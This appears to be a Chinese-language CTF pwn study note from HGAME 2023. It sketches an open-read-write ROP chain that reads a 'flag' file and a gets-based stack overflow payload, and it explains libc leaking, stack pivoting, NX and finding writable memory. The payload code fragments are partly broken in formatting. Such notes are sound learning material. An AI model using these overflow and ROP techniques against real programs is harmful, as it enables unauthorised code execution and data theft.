ORW
rop链
= p64(pop_rdi) + p64(rop_addr + 0x98) + p64(pop_rsi) + p64(0)+ p64(open_addr)
payload
+= p64(pop_rdi) + p64(3) + p64(pop_rsi) + p64(data_addr) + p64(pop_rdx) + p64(0x30) + p64(read_addr)
payload
+= p64(pop_rdi) + p64(1) + p64(pop_rsi) + p64(data_addr) + p64(pop_rdx) + p64(0x30) + p64(write_addr)
payload
+= b'flag'.ljust(8, b'\x00')
payload
r.sendline(payload)
注:
1.open函数指向的文件是一个指针,得先把flag存起来,再指向 ->rop_addr + 0x98
2.read函数第一个参数3,指向open打开的文件 ,第二个参数指向写入的地方
3.write函数第一个参数1,代表写入到输出,第二参数指原数据
(输入0,输出1,异常2)(linux输入输出重定向)(exec 1>&2 )-> 将输出重定向到异常2
(0,1,2->Linux终端)
通过gets函数读取到任意位置
= b'A'* 256 + b'junkjunk'+p64(pop rdi)+p64(rop addr)+p64(gets addr)+p64(elf.symbols['vuln'])
payload r.send(payload)
libc泄露后可以在libc中寻找rop链

puts 输出类函数 泄露libc基址

PS:最后可以再接溢出函数地址 再溢出一次
栈迁移!实践

为什么要栈迁移?
因为溢出的太少溢出的不够写rop链,找个地方写完rop链后再,迁移栈过去执行。
同时纯真大佬的wp中给出了另外的解法(https://zqy.ink/2023/01/12/HGAME2023_wk1_wp/#orw)
通过environ函数泄露栈的地址,然后整个rop就在buf中完成

NX保护的理解
1.在栈中无法执行指令!但是不包括rop,因为栈中是存着rop指令的地址,而并不是指令的本身。
2.NX保护指的是--栈不可执行--的意思,也就是栈上的数据不可以当作代码区执行的作用。
找空白可写地址是有讲究的!
通过readelf -S xxx 找只能看各个段的权限大小与开始地址
通过IDA找可以更方便的查看段的位置是否有数据,能找到完全空白的地方,防止程序的崩溃!!
视图 -> 打开子视图 -> 段
来查看

交界处差距很大,存在空白位置给其写入 从0x3FF598开始(好地方)